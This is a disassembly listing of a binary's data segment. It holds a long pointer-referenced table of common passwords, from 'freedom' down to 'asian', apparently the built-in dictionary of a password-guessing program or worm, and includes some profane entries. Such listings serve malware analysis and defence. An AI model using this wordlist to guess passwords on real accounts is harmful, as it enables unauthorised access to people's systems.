aFreedom	db 'freedom',0          ; DATA XREF: seg002:00429C4Co
aFree		db 'free',0             ; DATA XREF: seg002:00429C48o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg002:00429C44o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: seg002:00429C40o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg002:00429C3Co
		align 10h
aFrance		db 'france',0           ; DATA XREF: seg002:00429C38o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg002:00429C34o
aFourier	db 'fourier',0          ; DATA XREF: seg002:00429C30o
aForsythe	db 'forsythe',0         ; DATA XREF: seg002:00429C2Co
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg002:00429C28o
		align 10h
aFormat		db 'format',0
		align 4
aForm		db 'form',0
		align 10h
aForever	db 'forever',0
aForesigh	db 'foresigh',0
		align 4
aFord		db 'ford',0
		align 4
aForce		db 'force',0
		align 4
aFootball	db 'football',0
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: seg002:00429C08o
		align 4
aFool		db 'fool',0
		align 4
aFood		db 'food',0
		align 4
aFlowers	db 'flowers',0
aFlower		db 'flower',0
		align 4
aFlorida	db 'florida',0
aFloat		db 'float',0            ; DATA XREF: seg002:00429BF0o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg002:00429BECo
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg002:00429BE8o
aFirewall	db 'firewall',0         ; DATA XREF: seg002:00429BE4o
		align 4
aFire		db 'fire',0
		align 10h
aFinite		db 'finite',0
		align 4
aFile		db 'file',0             ; DATA XREF: seg000:00405E02o
		align 10h
aFight		db 'fight',0
		align 4
aField		db 'field',0
		align 10h
aFidelity	db 'fidelity',0
		align 4
aFerrari	db 'ferrari',0
aFermat		db 'fermat',0           ; DATA XREF: seg002:00429BC4o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg002:00429BC0o
		align 4
aFelicia	db 'felicia',0
aFeds		db 'feds',0             ; DATA XREF: seg002:00429BB8o
		align 4
aFear		db 'fear',0
		align 4
aFast		db 'fast',0             ; DATA XREF: seg002:00429BB0o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg002:00429BACo
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg002:00429BA8o
aFarad		db 'farad',0            ; DATA XREF: seg002:00429BA4o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg002:00429BA0o
		align 4
aFalse		db 'false',0
		align 4
aFalcon		db 'falcon',0
		align 4
aFaith		db 'faith',0
		align 4
aFairway	db 'fairway',0
aExtensio	db 'extensio',0         ; DATA XREF: seg002:00429B8Co
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: seg002:00429B88o
		align 4
aExplorer	db 'explorer',0
		align 4
aExplore	db 'explore',0
aExplode	db 'explode',0          ; DATA XREF: seg002:00429B7Co
aExpert		db 'expert',0           ; DATA XREF: seg002:00429B78o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: seg002:00429B74o
		align 4
aEuclid		db 'euclid',0
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: seg002:00429B6Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg002:00429B68o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg002:00429B64o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: seg002:00429B60o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg002:00429B5Co
		align 10h
aErin		db 'erin',0             ; DATA XREF: seg002:00429B58o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg002:00429B54o
		align 10h
aErica		db 'erica',0            ; DATA XREF: seg002:00429B50o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg002:00429B4Co
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: seg002:00429B48o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg002:00429B44o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: seg002:00429B40o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg002:00429B3Co
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg002:00429B38o
aEngland	db 'england',0          ; DATA XREF: seg002:00429B34o
aEngineer	db 'engineer',0         ; DATA XREF: seg002:00429B30o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: seg002:00429B2Co
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg002:00429B28o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg002:00429B24o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg002:00429B20o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg002:00429B1Co
aEmail		db 'email',0            ; DATA XREF: seg000:00406AF2o
					; seg002:00429B18o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg002:00429B14o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg002:00429B10o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg002:00429B0Co
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg002:00429B08o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: seg002:00429B04o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg002:00429B00o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: seg002:00429AFCo
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg002:00429AF8o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg002:00429AF4o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg002:00429AF0o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg002:00429AECo
aEdwina		db 'edwina',0           ; DATA XREF: seg002:00429AE8o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg002:00429AE4o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg002:00429AE0o
		align 10h
aEducation	db 'education',0        ; DATA XREF: seg002:00429ADCo
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg002:00429AD8o
aEdit		db 'edit',0             ; DATA XREF: seg002:00429AD4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg002:00429AD0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg002:00429ACCo
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: seg002:00429AC8o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg002:00429AC4o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: seg002:00429AC0o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg002:00429ABCo
		align 10h
aEasier		db 'easier',0           ; DATA XREF: seg002:00429AB8o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg002:00429AB4o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: seg002:00429AB0o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg002:00429AACo
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: seg002:00429AA8o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg002:00429AA4o
aDuncan		db 'duncan',0           ; DATA XREF: seg002:00429AA0o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg002:00429A9Co
		align 10h
aDuke		db 'duke',0             ; DATA XREF: seg002:00429A98o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg002:00429A94o
aDude		db 'dude',0             ; DATA XREF: seg002:00429A90o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg002:00429A8Co
		align 10h
aDrought	db 'drought',0          ; DATA XREF: seg002:00429A88o
aDrive		db 'drive',0            ; DATA XREF: seg002:00429A84o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: seg002:00429A80o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg002:00429A7Co
		align 10h
aDownload	db 'download',0         ; DATA XREF: seg002:00429A78o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg002:00429A74o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg002:00429A70o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg002:00429A6Co
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg002:00429A68o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: seg002:00429A64o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg002:00429A60o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg002:00429A5Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg002:00429A58o
		align 4
aDong		db 'dong',0             ; DATA XREF: seg002:00429A54o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg002:00429A50o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg002:00429A4Co
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: seg002:00429A48o
aDisney		db 'disney',0           ; DATA XREF: seg002:00429A44o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg002:00429A40o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg002:00429A3Co
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: seg002:00429A38o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg002:00429A34o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg002:00429A30o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg002:00429A2Co
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg002:00429A28o
		align 4
aDirector	db 'director',0         ; DATA XREF: seg002:00429A24o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: seg002:00429A20o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg002:00429A1Co
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg002:00429A18o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg002:00429A14o
aDieter		db 'dieter',0           ; DATA XREF: seg002:00429A10o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg002:00429A0Co
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg002:00429A08o
aDick		db 'dick',0             ; DATA XREF: seg002:00429A04o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg002:00429A00o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg002:004299FCo
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg002:004299F8o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg002:004299F4o
aDial		db 'dial',0             ; DATA XREF: seg002:004299F0o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg002:004299ECo
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg002:004299E8o
aDesperat	db 'desperat',0         ; DATA XREF: seg002:004299E4o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg002:004299E0o
aDesk		db 'desk',0             ; DATA XREF: seg002:004299DCo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg002:004299D8o
aDennis		db 'dennis',0           ; DATA XREF: seg002:004299D4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg002:004299D0o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: seg002:004299CCo
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg002:004299C8o
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg002:004299C4o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg002:004299C0o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg002:004299BCo
aDeck		db 'deck',0             ; DATA XREF: seg002:004299B4o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg002:004299B0o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: seg002:004299ACo
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg002:004299A8o
aDebbie		db 'debbie',0           ; DATA XREF: seg002:004299A4o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg002:004299A0o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg002:0042999Co
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg002:00429998o
		align 4
aDave		db 'dave',0             ; DATA XREF: seg002:00429994o
		align 4
aData		db 'data',0             ; DATA XREF: seg002:00429990o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg002:0042998Co
		align 10h
aDark		db 'dark',0             ; DATA XREF: seg002:00429988o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg002:00429984o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: seg002:00429980o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg002:0042997Co
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg002:00429978o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg002:00429974o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg002:00429970o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg002:0042996Co
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg002:00429968o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg002:00429964o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg002:00429960o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg002:0042995Co
		align 4
aCyber_1	db 'cyber',0            ; DATA XREF: seg002:00429958o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg002:00429954o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: seg002:00429950o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg002:0042994Co
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: seg002:00429948o
aCristina	db 'cristina',0         ; DATA XREF: seg002:00429944o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg002:00429940o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: seg002:0042993Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg002:00429938o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: seg002:00429934o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg002:00429930o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg002:0042992Co
		align 10h
aCreation	db 'creation',0         ; DATA XREF: seg002:00429928o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg002:00429924o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg002:00429920o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg002:0042991Co
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg002:00429918o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: seg002:00429914o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg002:00429910o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg002:0042990Co
aCounters	db 'counters',0         ; DATA XREF: seg002:00429908o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg002:00429904o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg002:00429900o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg002:004298FCo
		align 4
aCops		db 'cops',0             ; DATA XREF: seg002:004298F8o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg002:004298F4o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg002:004298F0o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg002:004298ECo
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg002:004298E8o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg002:004298E4o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg002:004298E0o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: seg000:0040604Bo
					; seg002:004298DCo
		align 4
aConsole	db 'console',0          ; DATA XREF: seg002:004298D8o
aConserva	db 'conserva',0         ; DATA XREF: seg002:004298D4o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: seg002:004298D0o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409A6D+595o
					; seg002:004298CCo
aCondom		db 'condom',0           ; DATA XREF: seg002:004298C8o
		align 4
aCondo		db 'condo',0            ; DATA XREF: seg002:004298C4o
		align 10h
aComrades	db 'comrades',0         ; DATA XREF: seg002:004298C0o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg002:004298BCo
aComputin	db 'computin',0         ; DATA XREF: seg002:004298B8o
		align 10h
aCompany	db 'company',0          ; DATA XREF: seg002:004298B4o
aCommrade	db 'commrade',0         ; DATA XREF: seg002:004298B0o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg002:004298ACo
		align 4
aComics		db 'comics',0           ; DATA XREF: seg002:004298A8o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg002:004298A4o
		align 4
aColor		db 'color',0            ; DATA XREF: seg002:004298A0o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg002:0042989Co
aCold		db 'cold',0             ; DATA XREF: seg002:00429898o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg002:00429894o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg002:00429890o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg002:0042988Co
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg002:00429888o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg002:00429884o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: seg002:00429880o
		align 4
aCode		db 'code',0             ; DATA XREF: seg002:0042987Co
		align 4
aCock		db 'cock',0             ; DATA XREF: seg002:00429878o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg002:00429874o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: seg002:00429870o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg002:0042986Co
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg002:00429868o
		align 4
aCluster	db 'cluster',0          ; DATA XREF: seg002:00429864o
aClinton	db 'clinton',0          ; DATA XREF: seg002:00429860o
aCleavage	db 'cleavage',0         ; DATA XREF: seg002:0042985Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg002:00429858o
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: seg002:00429854o
aClassic	db 'classic',0          ; DATA XREF: seg002:00429850o
aClasses	db 'classes',0          ; DATA XREF: seg002:0042984Co
aClass		db 'class',0            ; DATA XREF: seg002:00429848o
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: seg002:00429844o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: seg002:00429840o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg002:0042983Co
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg002:00429838o
aChristin	db 'christin',0         ; DATA XREF: seg002:00429834o
		align 10h
aChris		db 'chris',0            ; DATA XREF: seg002:00429830o
		align 4
aChip		db 'chip',0             ; DATA XREF: seg002:0042982Co
		align 10h
aChester	db 'chester',0          ; DATA XREF: seg002:00429828o
aChess		db 'chess',0            ; DATA XREF: seg002:00429824o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: seg002:00429820o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg002:0042981Co
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg002:00429818o
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg002:00429814o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg002:00429810o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: seg002:0042980Co
aCharles	db 'charles',0          ; DATA XREF: seg002:00429808o
aCharity	db 'charity',0          ; DATA XREF: seg002:00429804o
aChange		db 'change',0           ; DATA XREF: seg002:00429800o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: seg002:004297FCo
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg002:004297F8o
aCeltic		db 'celtic',0           ; DATA XREF: seg002:004297F4o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg002:004297F0o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg002:004297ECo
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg002:004297E8o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg002:004297E4o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg002:004297E0o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg002:004297DCo
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: seg002:004297D8o
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg002:004297D4o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg002:004297D0o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg002:004297CCo
		align 4
aCarson		db 'carson',0           ; DATA XREF: seg002:004297C8o
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: seg002:004297C4o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: seg002:004297C0o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg002:004297BCo
		align 10h
aCarole		db 'carole',0           ; DATA XREF: seg002:004297B8o
		align 4
aCarol		db 'carol',0            ; DATA XREF: seg002:004297B4o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: seg002:004297B0o
		align 4
aCarla		db 'carla',0            ; DATA XREF: seg002:004297ACo
		align 10h
aCaren		db 'caren',0            ; DATA XREF: seg002:004297A8o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: seg002:004297A4o
		align 4
aCard		db 'card',0             ; DATA XREF: seg002:004297A0o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg000:004061F7o
					; seg002:0042979Co
aCaptain	db 'captain',0          ; DATA XREF: seg002:00429798o
aCantor		db 'cantor',0           ; DATA XREF: seg002:00429794o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg002:00429790o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg002:0042978Co
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg002:00429788o
aCampanil	db 'campanil',0         ; DATA XREF: seg002:00429784o
		align 4
aCamille	db 'camille',0          ; DATA XREF: seg002:00429780o
aCaliforn	db 'californ',0         ; DATA XREF: seg002:0042977Co
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg002:00429778o
		align 4
aButt		db 'butt',0             ; DATA XREF: seg002:00429774o
		align 10h
aButch		db 'butch',0            ; DATA XREF: seg002:00429770o
		align 4
aBurn		db 'burn',0             ; DATA XREF: seg002:0042976Co
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: seg002:00429768o
aBung		db 'bung',0             ; DATA XREF: seg002:00429764o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: seg002:00429760o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg002:0042975Co
		align 4
aBulls		db 'bulls',0            ; DATA XREF: seg002:00429758o
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: seg002:00429754o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg002:00429750o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg002:0042974Co
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: seg002:00429748o
aBroadway	db 'broadway',0         ; DATA XREF: seg002:00429744o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg002:00429740o
aBrian		db 'brian',0            ; DATA XREF: seg002:0042973Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg002:00429738o
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg002:00429734o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg002:00429730o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: seg002:0042972Co
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: seg002:00429728o
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: seg002:00429724o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: seg002:00429720o
aBoyscout	db 'boyscout',0         ; DATA XREF: seg002:0042971Co
		align 4
aBorn		db 'born',0             ; DATA XREF: seg002:00429718o
		align 10h
aBook		db 'book',0             ; DATA XREF: seg002:00429714o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: seg002:00429710o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: seg002:0042970Co
		align 4
aBoner		db 'boner',0            ; DATA XREF: seg002:00429708o
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: seg002:00429704o
		align 4
aBoard		db 'board',0            ; DATA XREF: seg002:00429700o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: seg002:004296FCo
		align 4
aBlue		db 'blue',0             ; DATA XREF: seg002:004296F8o
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:004296F4o
aBlow		db 'blow',0             ; DATA XREF: seg002:004296F0o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:004296ECo
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:004296E8o
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: seg002:004296E4o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:004296E0o
		align 4
aBlack		db 'black',0            ; DATA XREF: seg002:004296DCo
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:004296D8o
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:004296D4o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:004296D0o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: seg002:004296CCo
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:004296C8o
		align 4
aBios		db 'bios',0             ; DATA XREF: seg002:004296C4o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:004296C0o
		align 4
aBill		db 'bill',0             ; DATA XREF: seg002:004296BCo
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:004296B8o
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:004296B4o
		align 10h
aBible		db 'bible',0            ; DATA XREF: seg002:004296B0o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg002:004296ACo
aBetty		db 'betty',0            ; DATA XREF: seg002:004296A8o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg002:004296A4o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: seg002:004296A0o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg002:0042969Co
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: seg002:00429698o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg002:00429694o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: seg002:00429690o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:0042968Co
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:00429688o
aBenz		db 'benz',0             ; DATA XREF: seg002:00429684o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg002:00429680o
aBell		db 'bell',0             ; DATA XREF: seg002:0042967Co
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg002:00429678o
		align 10h
aBegin		db 'begin',0            ; DATA XREF: seg002:00429674o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg002:00429670o
		align 4
aBecky		db 'becky',0            ; DATA XREF: seg002:0042966Co
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:00429668o
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: seg002:00429664o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:00429660o
		align 4
aBeast		db 'beast',0            ; DATA XREF: seg002:0042965Co
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:00429658o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:00429654o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: seg002:00429650o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg002:0042964Co
		align 10h
aBatch		db 'batch',0            ; DATA XREF: seg002:00429648o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:00429644o
aBass		db 'bass',0             ; DATA XREF: seg002:00429640o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg002:0042963Co
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: seg002:00429638o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:00429634o
aBart		db 'bart',0             ; DATA XREF: seg002:00429630o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:0042962Co
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg002:00429628o
		align 10h
aBare		db 'bare',0             ; DATA XREF: seg002:00429624o
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg002:00429620o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: seg002:0042961Co
aBanks		db 'banks',0            ; DATA XREF: seg002:00429618o
		align 10h
aBank		db 'bank',0             ; DATA XREF: seg002:00429614o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg002:00429610o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: seg002:0042960Co
aBanana		db 'banana',0           ; DATA XREF: seg002:00429608o
		align 10h
aBall		db 'ball',0             ; DATA XREF: seg002:00429604o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg002:00429600o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: seg002:004295FCo
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:004295F8o
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:004295F4o
aBaby		db 'baby',0             ; DATA XREF: seg002:004295F0o
		align 4
aBabe		db 'babe',0             ; DATA XREF: seg002:004295ECo
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:004295E8o
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:004295E4o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:004295E0o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg002:004295DCo
		align 10h
aAtom		db 'atom',0             ; DATA XREF: seg002:004295D8o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:004295D4o
		align 4
aAthena		db 'athena',0           ; DATA XREF: seg002:004295D0o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:004295CCo
aAsian		db 'asian',0            ; DATA XREF: seg002:004295C8o
		align 4
